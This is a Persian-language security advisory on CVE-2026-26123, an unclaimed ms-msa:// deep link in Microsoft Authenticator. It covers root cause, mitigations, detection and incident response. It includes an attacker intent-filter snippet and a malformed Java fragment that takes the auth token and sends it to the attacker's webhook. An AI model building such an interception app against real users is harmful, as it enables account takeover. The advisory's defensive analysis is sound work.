گزارش اثبات آسیب‌پذیری CVE-2026-26123

اطلاعات آسیب‌پذیری

عنوان: افشای اطلاعات حساس از طریق Deep Link ثبت ‌نشده در Microsoft Authenticator

شناسه: CVE-2026-26123

وضعیت مشاوره: Advisory / Patch Available

امتیاز:  CVSS: 5.5 (MEDIUM)

محصول: Microsoft Authenticator

محصول / نسخه‌های آسیب‌پذیر

در نسخه‌های زیر:

• Microsoft Authenticator برای Android نسخه‌های 6.0.0 تا قبل از 6.2511.7533
• Microsoft Authenticator برای iOS نسخه‌های 6.0.0 تا قبل از 6.8.40

محیط‌های درگیر

• کلیه سازمان‌هایی که برای دسترسی به سرویس‌های مایکروسافت از Microsoft Authenticator به عنوان ابزار MFA استفاده می‌کنند
• محیط‌هایBYOD که در آن کاربران Authenticator را روی دستگاه‌های شخصی خود نصب می‌کنند
• سازمان‌هایی که سیاست‌های Conditional Access مایکروسافت را بر اساس تأیید هویت از طریق Authenticator پیاده‌سازی کرده‌اند
• کلیه کاربران شخصی و سازمانی که از Microsoft Authenticator برای حساب‌های مایکروسافت خود استفاده می‌کنند
• دستگاه‌های Android و iOS که نسخه‌های آسیب‌پذیر Authenticator را اجرا می‌کنند

کامپوننت‌های آسیب‌پذیر

• سیستم Deep Link اپلیکیشن، مکانیزم ثبت و مدیریت URL Scheme اختصاصی ms-msa:// در Android و iOS
• intent-filter (Android)، فیلتر intent در AndroidManifest.xml که مسئول ثبت scheme های سفارشی برای اپلیکیشن‌هاست
• URL Type (iOS)، مکانیزم معادل در سیستم‌عامل iOS برای ثبت scheme‌ های سفارشی
• جریان احراز هویت QR Code، فرایند اضافه کردن حساب در وب ‌سایت login.live.com که QR code حاوی deep link تولید می‌کند
• Android Intent Resolution System، سیستم عامل Android که بر اساس intent-filter های ثبت ‌شده تصمیم می‌گیرد کدام اپلیکیشن درخواست را دریافت کند

ریشه مشکل (Root Cause Analysis)

ریشه این آسیب‌پذیری یک نقص طراحی امنیتی در مدیریت Deep Link های اختصاصی Microsoft Authenticator است. این مشکل مطابق با CWE-939: Improper Authorization in Handler for Custom URL Scheme طبقه‌بندی می‌شود.

Microsoft Authenticator هنگام ایجاد فرایند اضافه کردن حساب از طریق وب ‌سایت login.live.com، یک QR code تولید می‌کند. این QR code حاوی یک deep link با scheme اختصاصی ms-msa:// است که پارامترهای حساس احراز هویت را شامل می‌شود. فرمت این deep link به صورت زیر است:

ms-msa://code=X.D655_QL2.2.U.60e61ddd-1d08-127d-d783-bda9b7v&uaid=88498cfad78b4669aaec4b7a1c8&expires=3964722534

پارامتر code یک توکن احراز هویت مستقیم است که نقش کلید اصلی را ایفا می‌کند. با استفاده از این توکن، می‌توان بدون نیاز به رمز عبور، احراز هویت دو مرحله‌ای (2FA)، یا هرگونه لایه امنیتی دیگری، مستقیماً وارد حساب شد.

مشکل اصلی اینجاست، Microsoft Authenticator خودش این deep link را ثبت نمی‌کند. یعنی اپلیکیشن Authenticator هیچ intent-filter در Android و هیچ URL Type در iOS برای دریافت scheme ms-msa:// ثبت نکرده است. وقتی کاربر QR code را با اسکنر دوربین اصلی دستگاه (نه اپلیکیشن Authenticator) اسکن می‌کند و گزینه “Open Link” را می‌زند، سیستم‌عامل Android (یا iOS) هیچ اپلیکیشن ثبت‌شده‌ای برای این scheme پیدا نمی‌کند

این وضعیت سه نتیجه متفاوت دارد:

اگر هیچ اپلیکیشن دیگری scheme را ثبت نکرده باشد، خطا رخ می‌دهد و اپلیکیشن Authenticator باز نمی‌شود

اگر یک اپلیکیشن مخرب از قبل scheme را ثبت کرده باشد، سیستم‌عامل آن را به عنوان handler پیش‌فرض انتخاب می‌کند (بدون نمایش پرامپت انتخاب به کاربر)

در Android 12 و بالاتر، اگر scheme تأیید نشده باشد، لینک به مرورگر پیش‌فرض بازمی‌گردد، اما scheme‌ های سفارشی (non-HTTP/HTTPS) مشمول این قاعده نمی‌شوند.

علت اصلی این نقص، عدم پیاده‌سازی App Link Verification است. اگر Microsoft Authenticator از App Links (HTTP/HTTPS scheme با assetlinks.json برای Android و Universal Links با apple-app-site-association برای iOS) به جای custom scheme استفاده می‌کرد، این آسیب‌پذیری وجود نمی‌داشت. اما حتی با استفاده از custom scheme، عدم ثبت intent-filter توسط خود اپلیکیشن، مشکل اصلی بود.

نکته مهم، این آسیب‌پذیری نشان می‌دهد که استفاده از custom URI scheme ‌ها (non-HTTP/HTTPS) برای جریان ‌های حساس احراز هویت، ذاتاً ناامن است. Android از نسخه ۱۲ به بعد، App Links تأییدشده را به مرورگر پیش‌فرض هدایت می‌کند، اما custom scheme‌ ها (مانند ms-msa://) از این محافظت مستثنی هستند و هر اپلیکیشنی می‌تواند آن ‌ها را ثبت کند.

بخش آسیب‌پذیر

رفتار ناامن سیستم:

مشکل امنیتی اصلی در Microsoft Authenticator عدم پیاده‌سازی App Link Verification و عدم ثبت intent-filter (Android) یا URL Type (iOS) برای scheme اختصاصی ms-msa:// است. این نقص به هر اپلیکیشن مخربی که روی همان دستگاه نصب باشد اجازه می‌دهد deep link احراز هویت را رهگیری کند.

نحوه سوءاستفاده مهاجم:

• ثبت Deep Link ثبت ‌نشده مهاجم در فایل AndroidManifest.xml اپلیکیشن مخرب خود، intent-filter زیر را اضافه می‌کند

<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:scheme="ms-msa" />
</intent-filter>

 

• وقتی کاربر QR code را اسکن کند و اپلیکیشن مخرب deep link را دریافت کند، کد جاوا زیر توکن را استخراج و به سرور مهاجم ارسال می‌کند:

<Intent intent = getIntent;<
<Uri data = intent.getData;<
<String token = data.getQueryParameter("code");<

//  ارسال توکن به سرور مهاجم

sendToWebhook(token);

• مهاجم با استفاده از توکن سرقت‌ شده، می‌تواند کدهای 2FA را از Authenticator تولید کند، از طریق فرآیند Authenticator وارد شود و دسترسی کامل به حساب کاربری پیدا کند

نقش این آسیب‌پذیری در زنجیره حمله

این آسیب ‌پذیری یک ابزار جمع‌آوری اطلاعات (Information Collection) و نقض حریم خصوصی (Privacy Violation) در زنجیره حمله محسوب می‌شود. با توجه به نمره CVSS 5.5 (متوسط)، ماهیت محلی، و نیاز به تعامل کاربر، مهاجم می‌تواند با فریب کاربر برای نصب برنامه مخرب و انتخاب آن به عنوان مدیریت‌کننده لینک‌های احراز هویت، به کدهای MFA دسترسی پیدا کند.

پیش‌نیازهای بهره‌برداری (Prerequisites)

• نصب نسخه آسیب‌پذیر Microsoft Authenticator
• نصب یک اپلیکیشن مخرب روی همان دستگاه که scheme ms-msa:// را ثبت کرده باشد
• قربانی باید QR code را با اسکنر دوربین اصلی اسکن کند و گزینه “Open Link” را لمس کند
• عدم نصب وصله امنیتی

رفتار مورد انتظار در حالت امن (Expected Secure Behavior)

• Microsoft Authenticator باید intent-filter (Android) یا URL Type (iOS) برای scheme ms-msa:// ثبت کند تا خودش handler پیش‌فرض باشد
• در صورت عدم ثبت handler، سیستم‌ عامل نباید اجازه دهد اپلیکیشن ‌های ثالث این scheme را ثبت کنند
• استفاده از App Links (HTTP/HTTPS scheme با تأیید دامنه) به جای custom scheme برای جریان‌ های احراز هویت حساس
• اپلیکیشن Authenticator باید قبل از پردازش deep link، اعتبارسنجی کند که درخواست واقعاً از سیستم‌عامل رسیده و نه از یک اپلیکیشن ثالث
• استفاده از مکانیزم ‌های امنیتی مانند PKCE (Proof Key for Code Exchange) برای محافظت در برابر رهگیری کدهای احراز هویت

راهکارها و کاهش ریسک (Mitigation / Patch Guidance)

اقدامات فوری برای کاهش ریسک:

• به ‌روزرسانی Microsoft Authenticator به نسخه ‌های پچ ‌شده
• حذف کلیه اپلیکیشن‌ های مشکوک یا غیرضروری از دستگاه‌ ها، به‌ویژه اپلیکیشن‌ هایی که اخیراً نصب شده ‌اند و مجوزهای غیرعادی درخواست کرده ‌اند
• بررسی تاریخچه ورود به حساب ‌های مایکروسافت و شناسایی دستگاه‌ ها یا آدرس ‌های IP ناشناخته
• بازنشانی رمز عبور حساب ‌های مایکروسافت و باطل‌ سازی تمامی session‌ های فعال

اقدامات کوتاه‌مدت / میان‌مدت برای کاهش ریسک:

• اجرای سیاست ‌های MDM/UEM برای اعمال به‌روزرسانی خودکار و اجباری Microsoft Authenticator در تمام دستگاه ‌های سازمانی
• بازبینی و تقویت سیاست‌های Conditional Access در Microsoft Entra ID برای شناسایی رفتارهای غیرعادی احراز هویت
• آموزش کاربران در خصوص خطرات باز کردن لینک‌ های ناشناس و دانلود فایل‌ های غیرقابل اعتماد
• استقرار Mobile Threat Defense (MTD) برای شناسایی اپلیکیشن‌ های مخرب روی دستگاه‌ ها
• فعال ‌سازی اعلان ‌های ورود به حساب و Impossible Travel alerts در Azure AD / Microsoft Entra ID
• استفاده از Passkeys یا کلیدهای سخت ‌افزاری FIDO2 به جای Authenticator برای حساب ‌های ادمین و حساس

اقدامات بلندمدت برای کاهش ریسک:

• مهاجرت از custom URI scheme‌ها (مانند ms-msa://) به App Links (Android) و Universal Links (iOS) با تأیید دامنه برای تمام جریان‌های احراز هویت
• پیاده‌ سازی مکانیزم‌ های امنیتی مانند PKCE در جریان‌ های احراز هویت مبتنی بر deep link
• پیاده‌ سازی Mobile Device Management برای تمام دستگاه‌ های سازمانی با قابلیت application whitelisting
• اجرای فرآیند Security Audit منظم برای بررسی intent-filter ها و URL Type های ثبت ‌شده در اپلیکیشن‌ های سازمانی
• پیاده‌سازی Mobile Application Security Testing (MAST) در فرآیند CI/CD
• تدوین و اجرای سیاست ‌های Zero Trust برای احراز هویت موبایل، با تأکید بر device compliance و app attestation

تشخیص و مانیتورینگ (Detection & Monitoring)

نشانه‌های تلاش برای سوءاستفاده:

• نمایش مکرر پرامپت ‌های انتخاب handler برای لینک‌های احراز هویت (نشانه‌ای از نصب اپلیکیشن رقیب)
• ورودهای غیرعادی به حساب‌ های مایکروسافت از آدرس ‌های IP یا دستگاه‌ های ناشناخته
• فعالیت ‌های احراز هویت غیرمنتظره در لاگ‌ های Microsoft Entra ID (Azure AD)
• نصب اپلیکیشن‌ های ناشناخته که مجوز Internet را درخواست می‌کنند
• تغییرات غیرمنتظره در تنظیمات احراز هویت حساب‌ های مایکروسافت
• تلاش‌های مکرر ناموفق ورود به حساب

    منابع پیشنهادی برای مانیتورینگ و پایش:

• adb shell pm list packages برای شناسایی اپلیکیشن‌های نصب‌شده
• adb shell dumpsys package resolution برای بررسی intent-filter های ثبت ‌شده
• Google Play Protect برای شناسایی اپلیکیشن‌های مخرب
• Device Management logs
• App Library برای بررسی اپلیکیشن‌های نصب‌ شده
• iOS Settings – VPN & Device Management
• جمع‌آوری و تحلیل لاگ‌های Microsoft Entra ID (Azure AD) برای شناسایی الگوهای ورود غیرعادی
• راهکارهایی مانند Microsoft Defender for Endpoint، CrowdStrike، یا SentinelOne برای شناسایی رفتارهای مشکوک مرتبط با احراز هویت
• بررسی لاگ‌های سیاست‌های Conditional Access برای شناسایی ورودهایی که شرایط عادی را رعایت نمی‌کنند
• بررسی منظم لاگ‌های ورود برای شناسایی IP‌های ناشناخته، دستگاه‌های جدید، و رفتارهای Impossible Travel
• بررسی وضعیت به‌روزرسانی Authenticator در تمام دستگاه‌های مدیریت‌شده
• شناسایی ارتباطات شبکه مشکوک به سرورهای خروجی (C2) که توکن‌های سرقت‌شده را دریافت می‌کنند

واکنش به حادثه (Incident Response)

• به‌روزرسانی فوری Microsoft Authenticator به آخرین نسخه
• حذف برنامه‌های مشکوک که اخیراً نصب شده‌اند
• بازنشانی رمزهای عبور حساب‌هایی که ممکن است در معرض خطر قرار گرفته باشند
• فعال‌سازی احراز هویت دو مرحله‌ای (MFA) با روش‌های جایگزین
• بررسی فعالیت‌های غیرعادی در حساب‌های آنلاین (ورود از مکان‌های ناشناس)
• بررسی لاگ‌های ورود در Microsoft Entra ID
• مستندسازی کامل حادثه (زمان وقوع، نشانه‌ها، اقدامات انجام‌شده، درس‌آموخته‌ها) و گزارش به مدیریت ارشد و تیم واکنش سریع (CSIRT)

جریان حمله (Attack Flow)

در نمودار زیر (شکل ۱)، مهاجم با فریب کاربر برای نصب برنامه مخرب و انتخاب آن به عنوان مدیریت‌کننده لینک احراز هویت، کدهای MFA را سرقت می‌کند.

اثبات مفهوم (PoC) — کاملاً غیرمخرب

آزمایشگاه تخصصی Vulnerbyte، این آسیب‌پذیری را در محیط ایزوله و کنترل‌شده با استفاده از نسخه آسیب‌پذیر بررسی و اجرا کرده است

• این آزمایشگاه شامل نسخه آسیب‌پذیر Microsoft Authenticatorاست
• ارسال URI هایی با Scheme های Microsoft Authenticator ثبت کرده است
• اجرای PoC در محیط آزمایشگاهی منجر به این شد که Microsoft Authenticator از سه URI ارسالی فقط یکی از آن ها را هندل کرده است
• این اثبات مفهوم صرفاً توصیفی و آموزشی بوده و شامل تغییرات مخرب نمی‌شود

رفع مسئولیت

این گزارش صرفاً با هدف آموزش، تحلیل فنی و ارتقای امنیت سازمانی تهیه شده است. هرگونه استفاده مخرب یا خارج از چارچوب‌های قانونی از محتوای آن ممنوع است.

منابع

https://www.cve.org/CVERecord?id=CVE-2026-26123

https://nvd.nist.gov/vuln/detail/CVE-2026-26123

https://infosecwriteups.com/microsoft-authenticators-unclaimed-deep-link-a-full-account-takeover-story-cve-2026-26123-e0409a920a02

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-26123

https://cwe.mitre.org/data/definitions/939.html

---